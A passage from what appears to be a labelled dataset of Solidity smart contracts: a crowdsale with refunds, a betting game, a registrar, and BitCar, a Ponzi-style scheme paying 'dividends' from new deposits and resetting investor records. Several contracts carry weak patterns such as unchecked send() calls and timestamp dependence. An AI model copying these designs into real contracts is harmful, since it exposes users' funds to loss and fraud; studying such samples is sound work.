function deposit(address investor) onlyOwner payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner payable {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) payable {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HarborToken is StandardToken, Ownable {
string public constant name = "HarborToken";
string public constant symbol = "HBR";
uint8 public constant decimals = 18;
mapping (address => bool) public mintAgents;
event Mint(address indexed to, uint256 amount);
event MintOpened();
event MintFinished();
event MintingAgentChanged(address addr, bool state );
event BurnToken(address addr,uint256 amount);
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function mint(address _to, uint256 _amount) onlyMintAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function burn(address _addr,uint256 _amount) onlyMintAgent canMint returns (bool) {
require(_amount > 0);
totalSupply = totalSupply.sub(_amount);
balances[_addr] = balances[_addr].sub(_amount);
BurnToken(_addr,_amount);
return true;
}
function openMinting() onlyOwner returns (bool) {
mintingFinished = false;
MintOpened();
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract HarborCrowdsale is Haltable {
using SafeMath for uint256;
HarborToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public weiRaised;
uint256 public cap;
bool public isFinalized = false;
uint256 public minimumFundingGoal;
RefundVault public vault;
mapping (address => uint256) public projectBuget;
event Finalized();
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount,uint256 projectamount);
event EndsAtChanged(uint newEndsAt);
function HarborCrowdsale(uint256 _startTime, uint256 _endTime, address _wallet, uint256 _cap, uint256 _minimumFundingGoal) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_wallet != 0x0);
require(_cap > 0);
require(_minimumFundingGoal > 0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
cap = _cap;
vault = new RefundVault(wallet);
minimumFundingGoal = _minimumFundingGoal;
token.setMintAgent(address(this), true);
}
function createTokenContract() internal returns (HarborToken) {
return new HarborToken();
}
function () payable stopInEmergency{
buyTokens(msg.sender);
}
function buyPrice() constant returns (uint) {
return buyPriceAt(now);
}
function buyPriceAt(uint at) constant returns (uint) {
if (at < startTime) {
return 0;
} else if (at < (startTime + 1 days)) {
return 2200;
} else if (at < (startTime + 7 days)) {
return 2100;
} else if (at <= endTime) {
return 2000;
} else {
return 0;
}
}
function buyTokens(address beneficiary) payable stopInEmergency {
require(beneficiary != 0x0);
require(validPurchase());
require(buyPrice() > 0);
uint256 weiAmount = msg.value;
uint256 price = buyPrice();
uint256 tokens = weiAmount.mul(price);
uint256 projectTokens = tokens.mul(2);
projectTokens = projectTokens.div(3);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
token.mint(wallet,projectTokens);
projectBuget[beneficiary] = projectBuget[beneficiary].add(projectTokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens, projectTokens);
forwardFunds();
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = weiRaised <= cap;
return withinPeriod && nonZeroPurchase && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return (now > endTime) || capReached;
}
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
if (minFundingGoalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
}
function claimRefund() payable stopInEmergency{
require(isFinalized);
require(!minFundingGoalReached());
vault.refund(msg.sender);
uint256 _hbr_amount = token.balanceOf(msg.sender);
token.burn(msg.sender,_hbr_amount);
uint256 _hbr_project = projectBuget[msg.sender];
projectBuget[msg.sender] = 0;
token.burn(wallet,_hbr_project);
}
function minFundingGoalReached() public constant returns (bool) {
return weiRaised >= minimumFundingGoal;
}
function setEndsAt(uint time) onlyOwner {
require(now <= time);
endTime = time;
EndsAtChanged(endTime);
}
} | 1 | 2,653 |
pragma solidity 0.5.7;
contract Ownable {
address public owner;
address public pendingOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract FastnFurious is Ownable {
using SafeMath for uint;
mapping(uint => address payable) public winners;
mapping(uint => uint) public balances;
uint public minBet = 0.1 ether;
uint public startTime = 1554076800;
uint public roundTime = 60;
address payable public wallet;
address payable public jackpot;
uint public pool;
uint public walletPercent = 20;
uint public nextRoundPercent = 15;
uint public jackpotPercent = 15;
uint public lastRound;
constructor (address payable _wallet, address payable _jackpot) public {
require(_wallet != address(0));
require(_jackpot != address(0));
wallet = _wallet;
jackpot = _jackpot;
}
function () external payable {
require(gasleft() > 150000);
setBet(msg.sender);
}
function setBet(address payable _player) public payable {
require(msg.value >= minBet);
uint currentRound = getCurrentRound();
if (currentRound > 1 && balances[currentRound] == 0) {
uint gain = balances[lastRound];
balances[lastRound] = 0;
balances[currentRound] = balances[currentRound].add(pool);
pool = 0;
address payable winner = getWinner(lastRound);
winner.transfer(gain);
}
lastRound = currentRound;
uint amount = msg.value;
uint toWallet = amount.mul(walletPercent).div(100);
uint toNextRound = amount.mul(nextRoundPercent).div(100);
uint toJackpot = amount.mul(jackpotPercent).div(100);
winners[currentRound] = _player;
balances[currentRound] = balances[currentRound].add(amount).sub(toWallet).sub(toNextRound).sub(toJackpot);
pool = pool.add(toNextRound);
jackpot.transfer(toJackpot);
wallet.transfer(toWallet);
}
function getWinner(uint _round) public view returns (address payable) {
if (winners[_round] != address(0)) return winners[_round];
else return wallet;
}
function changeRoundTime(uint _time) onlyOwner public {
roundTime = _time;
}
function changeStartTime(uint _time) onlyOwner public {
startTime = _time;
}
function changeWallet(address payable _wallet) onlyOwner public {
wallet = _wallet;
}
function changeJackpot(address payable _jackpot) onlyOwner public {
jackpot = _jackpot;
}
function changeMinimalBet(uint _minBet) onlyOwner public {
minBet = _minBet;
}
function changePercents(uint _toWinner, uint _toNextRound, uint _toWallet, uint _toJackPot) onlyOwner public {
uint total = _toWinner.add(_toNextRound).add(_toWallet).add(_toJackPot);
require(total == 100);
walletPercent = _toWallet;
nextRoundPercent = _toNextRound;
jackpotPercent = _toJackPot;
}
function getCurrentRound() public view returns (uint) {
return now.sub(startTime).div(roundTime).add(1);
}
function getPreviosRound() public view returns (uint) {
return getCurrentRound().sub(1);
}
function getRoundBalance(uint _round) public view returns (uint) {
return balances[_round];
}
function getRoundByTime(uint _time) public view returns (uint) {
return _time.sub(startTime).div(roundTime);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,949 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.24;
contract RivetzRegistrar is Ownable {
using SafeMath for uint256;
struct SPEntry {
address registrant;
address admin;
uint256 pubKeyHash;
uint256 infoHash;
uint256 expiration;
bool valid;
}
event SPCreated(uint256 indexed spid);
mapping(uint256 => SPEntry) public spEntries;
ERC20 public rvt;
address public paymentWalletAddress;
uint64 constant secPerYear = 365 days;
uint256 public registrationFee = 1000 ether;
uint256 constant defaultAnnualFee = 1000 ether;
uint256 public feePerSec = defaultAnnualFee / secPerYear;
constructor(address paymentTokenAddress, address paymentDestAddress) public {
rvt = ERC20(paymentTokenAddress);
paymentWalletAddress = paymentDestAddress;
}
function register(uint256 spid, uint256 pubKeyHash, uint256 infoHash) public {
require(rvt.transferFrom(msg.sender, paymentWalletAddress, registrationFee));
SPEntry storage spEntry = newEntry(spid);
spEntry.registrant = msg.sender;
spEntry.admin = msg.sender;
spEntry.pubKeyHash = pubKeyHash;
spEntry.infoHash = infoHash;
spEntry.valid = false;
}
function rivetzRegister(uint256 spid, uint256 pubKeyHash, uint256 infoHash, address spidRegistrant, address spidAdmin) onlyOwner public {
SPEntry storage spEntry = newEntry(spid);
spEntry.registrant = spidRegistrant;
spEntry.admin = spidAdmin;
spEntry.pubKeyHash = pubKeyHash;
spEntry.infoHash = infoHash;
spEntry.valid = true;
}
function newEntry(uint256 spid) internal returns (SPEntry storage) {
SPEntry storage spEntry = spEntries[spid];
require(spEntry.registrant == 0);
spEntry.expiration = now + secPerYear;
emit SPCreated(spid);
return spEntry;
}
function setRegistrant(uint256 spid, address registrant) public {
SPEntry storage spEntry = spEntries[spid];
require(spEntry.registrant != 0 && spEntry.registrant != address(0x1) );
requireRegistrantOrGreater(spEntry);
spEntry.registrant = registrant;
}
function setAdmin(uint256 spid, address admin) public {
SPEntry storage spEntry = spEntries[spid];
requireRegistrantOrGreater(spEntry);
spEntry.admin = admin;
}
function setPubKey(uint256 spid, uint256 pubKeyHash) public {
SPEntry storage spEntry = spEntries[spid];
requireRegistrantOrGreater(spEntry);
spEntry.pubKeyHash = pubKeyHash;
}
function setInfo(uint256 spid, uint256 infoHash) public {
SPEntry storage spEntry = spEntries[spid];
requireAdminOrGreater(spEntry);
spEntry.infoHash = infoHash;
}
function setValid(uint256 spid, bool valid) onlyOwner public {
spEntries[spid].valid = valid;
}
function renew(uint256 spid, uint256 payment) public returns (uint256 expiration) {
SPEntry storage spEntry = spEntries[spid];
require(rvt.transferFrom(msg.sender, paymentWalletAddress, payment));
uint256 periodStart = (spEntry.expiration > now) ? spEntry.expiration : now;
spEntry.expiration = periodStart.add(feeToSeconds(payment));
return spEntry.expiration;
}
function setExpiration(uint256 spid, uint256 expiration) onlyOwner public {
spEntries[spid].expiration = expiration;
}
function release(uint256 spid) public {
SPEntry storage spEntry = spEntries[spid];
requireRegistrantOrGreater(spEntry);
spEntry.expiration = 0;
spEntry.registrant = address(0x1);
spEntry.admin = address(0x1);
spEntry.valid = false;
}
function rivetzRelease(uint256 spid) onlyOwner public {
SPEntry storage spEntry = spEntries[spid];
spEntry.registrant = address(0x1);
spEntry.admin = address(0x1);
spEntry.pubKeyHash = 0;
spEntry.infoHash = 0;
spEntry.expiration = 0;
spEntry.valid = false;
}
function setFees(uint256 newRegistrationFee, uint256 newAnnualFee) onlyOwner public {
registrationFee = newRegistrationFee;
feePerSec = newAnnualFee / secPerYear;
}
function setToken(address erc20Address) onlyOwner public {
rvt = ERC20(erc20Address);
}
function setPaymentAddress(address paymentAddress) onlyOwner public {
paymentWalletAddress = paymentAddress;
}
function requireAdminOrGreater(SPEntry spEntry) internal view {
require (msg.sender == spEntry.admin ||
msg.sender == spEntry.registrant ||
msg.sender == owner);
require (isSubscribed(spEntry) || msg.sender == owner);
}
function requireRegistrantOrGreater(SPEntry spEntry) internal view {
require (msg.sender == spEntry.registrant ||
msg.sender == owner);
require (isSubscribed(spEntry) || msg.sender == owner);
}
function getAnnualFee() public view returns (uint256) {
return feePerSec.mul(secPerYear);
}
function feeToSeconds(uint256 feeAmount) internal view returns (uint256 seconds_)
{
return feeAmount / feePerSec;
}
function isSubscribed(SPEntry spEntry) internal view returns (bool subscribed)
{
return now < spEntry.expiration;
}
} | 1 | 4,326 |
pragma solidity 0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
for (uint8 i = 1; i <= rgp.activityDays; i++) {
if (rgp.dailyTotalInvestment[i] != 0) {
delete rgp.dailyTotalInvestment[i];
}
}
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract BitCar is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 500e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_5_percent = Percent.percent(2,100);
Percent.percent private m_6_percent = Percent.percent(3,100);
Percent.percent private m_7_percent = Percent.percent(35,1000);
Percent.percent private m_8_percent = Percent.percent(4,100);
Percent.percent private m_9_percent = Percent.percent(45,1000);
Percent.percent private m_10_percent = Percent.percent(5,100);
Percent.percent private m_11_percent = Percent.percent(5,100);
Percent.percent private m_12_percent = Percent.percent(5,100);
Percent.percent private m_referal_percent = Percent.percent(2,100);
Percent.percent private m_referrer_percent = Percent.percent(3,100);
Percent.percent private m_referrer_percentMax = Percent.percent(6,100);
Percent.percent private m_adminsPercent = Percent.percent(15,100);
Percent.percent private m_advertisingPercent = Percent.percent(35,100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 5 ether) {
p = m_5_percent.toMemory();
} else if ( 5 ether <= balance && balance <= 10 ether) {
p = m_6_percent.toMemory();
} else if ( 10 ether <= balance && balance <= 20 ether) {
p = m_7_percent.toMemory();
} else if ( 20 ether <= balance && balance <= 50 ether) {
p = m_8_percent.toMemory();
} else if ( 50 ether <= balance && balance <= 100 ether) {
p = m_9_percent.toMemory();
} else if ( 100 ether <= balance && balance <= 300 ether) {
p = m_10_percent.toMemory();
} else if ( 300 ether <= balance && balance <= 500 ether) {
p = m_11_percent.toMemory();
} else {
p = m_12_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
